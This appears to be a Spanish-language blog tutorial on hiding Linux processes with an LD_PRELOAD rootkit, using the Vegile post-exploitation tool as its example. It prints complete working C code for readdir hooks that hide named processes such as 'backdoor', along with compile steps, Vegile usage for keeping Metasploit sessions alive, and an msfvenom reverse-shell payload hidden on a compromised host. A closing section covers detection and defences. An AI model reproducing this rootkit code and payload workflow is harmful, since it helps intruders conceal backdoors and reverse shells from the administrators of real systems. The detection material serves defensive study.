Técnicas de Ocultación de Procesos en Linux: Implementación Mediante LD_PRELOAD y el Caso Vegile

La capacidad de ocultar procesos es una característica fundamental en el desarrollo de rootkits para sistemas Linux. Esta técnica permite a los actores maliciosos mantener la persistencia y evadir la detección en sistemas comprometidos. Uno de los métodos más comunes y efectivos para lograr esto es a través de la manipulación de las llamadas a funciones de biblioteca estándar usando la variable de entorno LD_PRELOAD. Exploraremos este concepto utilizando Vegile, una herramienta de post-explotación de código abierto, como ejemplo práctico para comprender la implementación de módulos de ocultación de procesos.

Entendiendo Vegile: Una Herramienta para la Persistencia en Linux

Vegile es una suite de herramientas diseñada para sistemas Linux que facilita la persistencia y la ofuscación. Su nombre evoca la idea de un "fantasma en la shell", refiriéndose a su capacidad para crear procesos que son difíciles de detectar y de terminar. Aunque originalmente es una herramienta de post-explotación, su diseño modular la convierte en un excelente recurso para el estudio de técnicas avanzadas de rootkit.

Características Clave de Vegile

  • Ofuscación de Procesos: Utiliza la técnica de LD_PRELOAD para interceptar llamadas a funciones de biblioteca estándar.
  • Mecanismos de Persistencia: Diseñado para crear procesos que se auto-recuperan ante intentos de terminación.
  • Resistencia a la Terminación: Emplea relaciones padre-hijo para monitorear y reiniciar procesos clave.
  • Operación Sigilosa: Busca ser invisible para las herramientas de monitoreo estándar del sistema.

El Mecanismo de Ocultación de Procesos: Una Mirada Profunda a LD_PRELOAD

El corazón de la funcionalidad de ocultación de procesos de Vegile reside en un módulo de biblioteca compartida (lib/processhider.c en el código original) que aprovecha la variable de entorno LD_PRELOAD.

Principios de Funcionamiento de LD_PRELOAD

LD_PRELOAD es una variable de entorno de Linux que permite a los usuarios especificar bibliotecas compartidas adicionales que deben cargarse antes que cualquier otra biblioteca, incluyendo las del sistema. Vegile explota esta característica registrando su módulo en /etc/ld.so.preload, asegurando que se cargue automáticamente con cada nuevo proceso que se ejecute en el sistema.

Interceptando la Enumeración de Directorios

La lógica principle para ocultar procesos se enfoca en interceptar las funciones de lectura de directorios, específicamente readdir y readdir64. Cuando una herramienta como ls, ps o top intenta listar el contenido del directorio /proc (donde cada subdirectorio numérico representa un ID de proceso), el módulo interceptor filtra las entradas.

A continuación, se presenta una adaptación del código central que ilustra la intercepción de readdir:


#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h> // Para readlink

// Nombre del proceso que queremos mantener fuera de la vista
static const char* nombre_proceso_objetivo = "mi_proceso_secreto";

// Puntero a la función readdir original de la biblioteca libc
static struct dirent* (*puntero_func_readdir_original)(DIR*) = NULL;

// Función auxiliar para obtener el nombre del ejecutable a partir de un PID
static int obtener_nombre_ejecutable(const char *cadena_pid, char *buffer_salida, size_t tamano_buffer) {
    char ruta_enlace_exe[256];
    char nombre_completo_ejecutable[256];
    
    // Construir la ruta al enlace simbólico /proc/[PID]/exe
    snprintf(ruta_enlace_exe, sizeof(ruta_enlace_exe), "/proc/%s/exe", cadena_pid);
    
    // Leer el destino del enlace simbólico
    ssize_t len_leido = readlink(ruta_enlace_exe, nombre_completo_ejecutable, sizeof(nombre_completo_ejecutable) - 1);
    
    if (len_leido != -1) {
        nombre_completo_ejecutable[len_leido] = '\0';
        // Extraer solo el nombre base del ejecutable (sin la ruta completa)
        char *ptr_nombre_base = strrchr(nombre_completo_ejecutable, '/');
        if (ptr_nombre_base) {
            strncpy(buffer_salida, ptr_nombre_base + 1, tamano_buffer);
        } else {
            strncpy(buffer_salida, nombre_completo_ejecutable, tamano_buffer);
        }
        buffer_salida[tamano_buffer - 1] = '\0';
        return 1;
    }
    return 0; // Error al obtener el nombre del ejecutable
}

// Nuestra versión de la función readdir que intercepta las llamadas
struct dirent* readdir(DIR *flujo_directorio) {
    // Si el puntero a la función original aún no se ha inicializado, hacerlo
    if (puntero_func_readdir_original == NULL) {
        puntero_func_readdir_original = dlsym(RTLD_NEXT, "readdir");
        if (puntero_func_readdir_original == NULL) {
            fprintf(stderr, "Error en dlsym: no se pudo cargar la función readdir original: %s\n", dlerror());
        }
    }

    struct dirent* entrada_actual;
    char nombre_ejec[256];

    while (1) {
        // Llamar a la función readdir original para obtener la siguiente entrada
        entrada_actual = puntero_func_readdir_original(flujo_directorio);
        
        // Si no hay más entradas o se produjo un error, salir del bucle
        if (!entrada_actual) {
            break;
        }

        // Verificar si la entrada es un directorio y su nombre es puramente numérico (un PID)
        if (entrada_actual->d_type == DT_DIR && 
            strspn(entrada_actual->d_name, "0123456789") == strlen(entrada_actual->d_name)) 
        {
            // Intentar obtener el nombre del ejecutable para este PID
            if (obtener_nombre_ejecutable(entrada_actual->d_name, nombre_ejec, sizeof(nombre_ejec))) {
                // Si el nombre del ejecutable coincide con el proceso objetivo, lo ocultamos
                if (strcmp(nombre_ejec, nombre_proceso_objetivo) == 0) {
                    continue; // Saltar esta entrada y buscar la siguiente
                }
            }
        }
        break; // La entrada no es un PID a ocultar, o no es un PID, o no se encontró el ejecutable, se devuelve.
    }
    return entrada_actual; // Devolver la entrada (o NULL si no hay más)
}

El algoritmo de ocultación se basa en los siguientes puntos:

  1. Se obtiene un puntero a la función readdir original del sistema mediante dlsym(RTLD_NEXT, "readdir").
  2. Dentro de un bucle, se invoca la función readdir original para leer cada entrada del directorio.
  3. Si la entrada representa un ID de proceso (un directorio numérico en /proc), se extrae el nombre del ejecutable asociado resolviendo el enlace simbólico /proc/[PID]/exe.
  4. Si el nombre del ejecutable coincide con el proceso objetivo a ocultar, la entrada se descarta y se solicita la siguiente iteración del bucle.
  5. Solo las entradas no ocultas se devuelven al programa que realizó la llamada, logrando la invisibilidad del proceso.

Configuración del Entorno de Desarrollo de Vegile

Paso 1: Obtención del Código Fuente

Para comenzar, clone el repositorio de Vegile. Aunque el código original menciona un espejo, puede buscar la versión más actual o directamente utilizar el repositorio provisto para fines educativos:


git clone https://gitcode.com/gh_mirrors/ve/Vegile.git # Ejemplo de clonación
cd Vegile
chmod +x Vegile

Paso 2: Análisis de la Estructura del Proyecto

El proyecto Vegile posee una estructura directa:


Vegile/
├── Vegile          # Script principal de la herramienta
├── lib/
│   └── processhider.c  # Código fuente del módulo de ocultación de procesos
├── README.md       # Documentación del proyecto
└── LICENSE.md      # Información de licencia

Paso 3: Compilación del Módulo de Ocultación

El módulo de ocultación es una biblioteca compartida que debe compilarse adecuadamente:


gcc -Wall -fPIC -shared -o libocultarprocesos.so lib/processhider.c -ldl

  • -Wall: Habilita todas las advertencias de compilación.
  • -fPIC: Genera código independiente de la posición (Position-Independent Code), necesario para bibliotecas compartidas.
  • -shared: Crea una biblioteca compartida (shared library).
  • -o libocultarprocesos.so: Especifica el nombre del archivo de salida de la biblioteca compartida.
  • -ldl: Enlaza la biblioteca de carga dinámica (libdl), necesraia para funciones como dlsym.

Personalización del Módulo de Ocultación

Especificación del Proceso a Ocultar

En el archivo processhider.c (o el nombre que haya usado para su módulo), la cadena del proceso objetivo se define habitualmente de forma estática. Para modificarla, localice la declaración:


static const char* nombre_proceso_objetivo = "mi_proceso_secreto";

Cambie "mi_proceso_secreto" por el nombre real del ejecutable que desea ocultar.

Ocultación de Múltiples Procesos

Para ocultar varios procesos, puede adaptar la lógica del filtro. En lugar de una sola cadena, use un array de cadenas y un bucle para verificar coincidencias:


static const char* procesos_para_filtrar[] = {"backdoor", "otro_malware", "agente_persistente"};
static const int cantidad_procesos = sizeof(procesos_para_filtrar) / sizeof(procesos_para_filtrar[0]);

// ... dentro de la función readdir, en la lógica de filtrado ...
// Reemplazar: if (strcmp(nombre_ejec, nombre_proceso_objetivo) == 0) { continue; }
// Por:
int es_proceso_oculto = 0;
for (int i = 0; i < cantidad_procesos; i++) {
    if (strcmp(nombre_ejec, procesos_para_filtrar[i]) == 0) {
        es_proceso_oculto = 1;
        break;
    }
}
if (es_proceso_oculto) {
    continue; // Saltar este proceso si está en la lista de ocultos
}
// ...

Guía de Uso de Vegile

Vegile se puede operar en diferentes modos, principalmente para establecer la persistencia y la ofuscación:

  1. Modo de Ocultación de Proceso e Inyección: Este modo busca ocultar un ejecutable específico. ```

    ./Vegile --i [nombre_del_ejecutable_o_rootkit]

  2. Modo de Sesión Ilimitada (Persistencia para Metasploit): Este modo, además de ocultar, busca mantener activa una sesión de Metasploit. ```

    ./Vegile --u [nombre_del_ejecutable_de_metasploit]

    
    

Ejemplo: Ocultando un Shell Inverso de Metasploit

Primero, genere un payload de shell inverso utilizando msfvenom:


msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp \
LHOST=SU_IP LPORT=SU_PUERTO -b "\x00" -f elf -o shell_inverso_payload

Luego, use Vegile para inyectar y ocultar este ejecutable en el sistema comprometido:


./Vegile --i shell_inverso_payload

Ejercicio Práctico: Creación de un Módulo de Ocultación Personalizado

Paso 1: Desarrollar el Módulo Personalizado

Cree un nuevo archivo C, por ejemplo, modulo_ocultador_dinamico.c. Este ejemplo utiliza una variable de entorno para definir el proceso a ocultar, lo que permite mayor flexibilidad sin tener que recompilar el módulo cada vez.


#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h> // Para getenv

// Puntero a la función readdir original
static struct dirent* (*func_readdir_original_sys)(DIR*) = NULL;

// Obtiene el nombre del proceso a ocultar desde una variable de entorno o usa un valor por defecto
static const char* obtener_nombre_proceso_destino() {
    char* valor_env = getenv("PROCESO_A_ESCONDER");
    if (valor_env != NULL && strlen(valor_env) > 0) {
        return valor_env;
    }
    return "mi_servicio_oculto"; // Valor predeterminado si no se especifica la variable de entorno
}

// Función auxiliar para obtener el nombre del ejecutable a partir de un PID
static int resolver_nombre_ejecutable_por_pid(const char *pid_str, char *buffer_nombre_final, size_t tamano_max) {
    char ruta_link_exe[256];
    char buffer_ruta_completa[256];
    
    snprintf(ruta_link_exe, sizeof(ruta_link_exe), "/proc/%s/exe", pid_str);
    ssize_t longitud_leida = readlink(ruta_link_exe, buffer_ruta_completa, sizeof(buffer_ruta_completa) - 1);
    
    if (longitud_leida != -1) {
        buffer_ruta_completa[longitud_leida] = '\0';
        char *ptr_nombre_base = strrchr(buffer_ruta_completa, '/');
        if (ptr_nombre_base) {
            strncpy(buffer_nombre_final, ptr_nombre_base + 1, tamano_max);
        } else {
            strncpy(buffer_nombre_final, buffer_ruta_completa, tamano_max);
        }
        buffer_nombre_final[tamano_max - 1] = '\0';
        return 1;
    }
    return 0; // Fallo al resolver el nombre
}

// Nuestra implementación de readdir que oculta procesos
struct dirent* readdir(DIR *flujo_de_directorio) {
    if (func_readdir_original_sys == NULL) {
        func_readdir_original_sys = dlsym(RTLD_NEXT, "readdir");
        if (func_readdir_original_sys == NULL) {
            fprintf(stderr, "Error al cargar la función readdir original: %s\n", dlerror());
        }
    }

    struct dirent* entrada_actual_dir;
    const char* proceso_para_esconder = obtener_nombre_proceso_destino();
    char nombre_ejecutable_resuelto[256];
    
    while (1) {
        entrada_actual_dir = func_readdir_original_sys(flujo_de_directorio);
        if (entrada_actual_dir) {
            // Comprobar si la entrada es un directorio numérico (un PID en /proc)
            if (entrada_actual_dir->d_type == DT_DIR && 
                strspn(entrada_actual_dir->d_name, "0123456789") == strlen(entrada_actual_dir->d_name)) 
            {
                // Si logramos resolver el nombre del ejecutable y coincide con el objetivo, lo ocultamos
                if (resolver_nombre_ejecutable_por_pid(entrada_actual_dir->d_name, nombre_ejecutable_resuelto, sizeof(nombre_ejecutable_resuelto)) &&
                    strcmp(nombre_ejecutable_resuelto, proceso_para_esconder) == 0) {
                    continue; // Saltar esta entrada para ocultar el proceso
                }
            }
        }
        break; // No hay más entradas o la actual no necesita ser oculta
    }
    return entrada_actual_dir;
}

Paso 2: Compilación y Preparación


# Compile el módulo personalizado
gcc -Wall -fPIC -shared -o mi_ocultador.so modulo_ocultador_dinamico.c -ldl

# Establezca la variable de entorno con el nombre del proceso a ocultar
export PROCESO_A_ESCONDER="mi_proceso_oculto_test"

# Configure LD_PRELOAD para cargar nuestro módulo al iniciar programas
export LD_PRELOAD=./mi_ocultador.so

# Ejecute un proceso de prueba que queremos ocultar (en segundo plano).
# Primero, asegúrese de tener un ejecutable con este nombre, por ejemplo:
# echo '#!/bin/bash' > mi_proceso_oculto_test
# echo 'while true; do sleep 60; done' >> mi_proceso_oculto_test
# chmod +x mi_proceso_oculto_test
./mi_proceso_oculto_test &

Paso 3: Verificación de la Ocultación

Compruebe si el proceso está oculto utilizando herramientas estándar de Linux:


# ps aux debería NO mostrar "mi_proceso_oculto_test"
ps aux | grep mi_proceso_oculto_test

# /proc debería NO mostrar la entrada de su PID
ls /proc | grep -E '[0-9]+' | xargs -I {} readlink /proc/{}/exe 2>/dev/null | grep mi_proceso_oculto_test

Para ver el proceso, puede deshabilitar LD_PRELOAD y ejecutar ps nuevamente:


unset LD_PRELOAD
ps aux | grep mi_proceso_oculto_test

Detección y Contramedidas contra Rootkits Basados en LD_PRELOAD

Comprender cómo funcionan estos rootkits es el primer paso para detectarlos y mitigarlos.

Métodos de Detección

  1. Verificación de LD_PRELOAD y Configuraciones del Cargador Dinámico: ```

    echo $LD_PRELOAD cat /etc/ld.so.preload ldd /bin/ls # Examinar las bibliotecas cargadas por un programa

    
    Cualquier entrada inesperada en estas ubicaciones es una señal de alerta.
    
  2. Análisis de Bibliotecas Cargadas por Procesos: ```

    lsof -p $$ | grep .so # Para el proceso actual de la shell cat /proc/[PID]/maps # Para un PID específico, buscar bibliotecas desconocidas cargadas

  3. **Uso de Herramientas Compiladas Estáticamente:**Las utilidades compiladas estáticamente (como las de BusyBox) no están sujetas a la manipulación de LD_PRELOAD porque no necesitan cargar bibliotecas compartidas en tiempo de ejecución. Si ps normal muestra algo diferente a busybox ps, podría haber un rootkit:

    
    /bin/ps aux
    /usr/bin/ps aux
    /sbin/busybox ps aux # Si está disponible
    
    

Estrategias de Defensa

  1. **Herramientas de Verificación de Integridad del Sistema:**Implemente sistemas como AIDE (Advanced Intrusion Detection Environment), Tripwire o OSSEC para monitorear cambios en archivos críticos del sistema, incluyendo bibliotecas compartidas, ejecutables y el archivo /etc/ld.so.preload.
  2. **Módulos de Seguridad del Kernel (LSM):**Utilice Linux Security Modules como SELinux o AppArmor para restringir los permisos de procesos y evitar la carga arbitraria de bibliotecas o la modificación de archivos del sistema por usuarios no autorizados.
  3. **Auditorías Regulares y Análisis de Comportamiento:**Realice auditorías de seguridad periódicas, revise los registros del sistema (logs) en busca de anomalías y utilice herramientas de monitoreo de comportamiento para detectar actividades inusuales de procesos y redes.
  4. **Configuración del Kernel:**Considere opciones de kernel como kernel.yama.ptrace_scope = 1 para restringir el uso de ptrace a procesos no-padre, y la deshabilitación de la carga de módulos del kernel sin firma.

Rutas de Aprendizaje Avanzado

El estudio de la ocultación de procesos y rootkits abre puertas a áreas de seguridad más complejas y avanzadas:

  • Programación de Sistemas Linux: Un conocimiento sólido de la gestión de procesos, manipulación del sistema de archivos, vinculación dinámica y manejo de llamadas al sistema es esencial.
  • Desarrollo de Módulos del Kernel (LKM): Explore cómo los rootkits pueden operar a nivel de kernel, manipulando estructuras de datos internas del kernel y ganchos de llamadas al sistema para lograr un control aún más profundo.
  • Ingeniería Inversa y Análisis de Malware: Desarrrolle habilidades para desensamblar código, comprender el comportamiento de programas maliciosos y analizar sus técnicas de ofuscación, persistencia y evasión.
  • Tecnologías de Monitoreo Avanzadas: Investigue el uso de eBPF (Extended Berkeley Packet Filter) para obtener una visibilidad profunda en el kernel en tiempo de ejecución sin la intrusión y los riesgos de estabilidad que presentan los módulos LKM tradicionales.

Etiquetas: linux Rootkit LD_PRELOAD SeguridadLinux OcultacionProcesos

Publicado el 7-28 07:24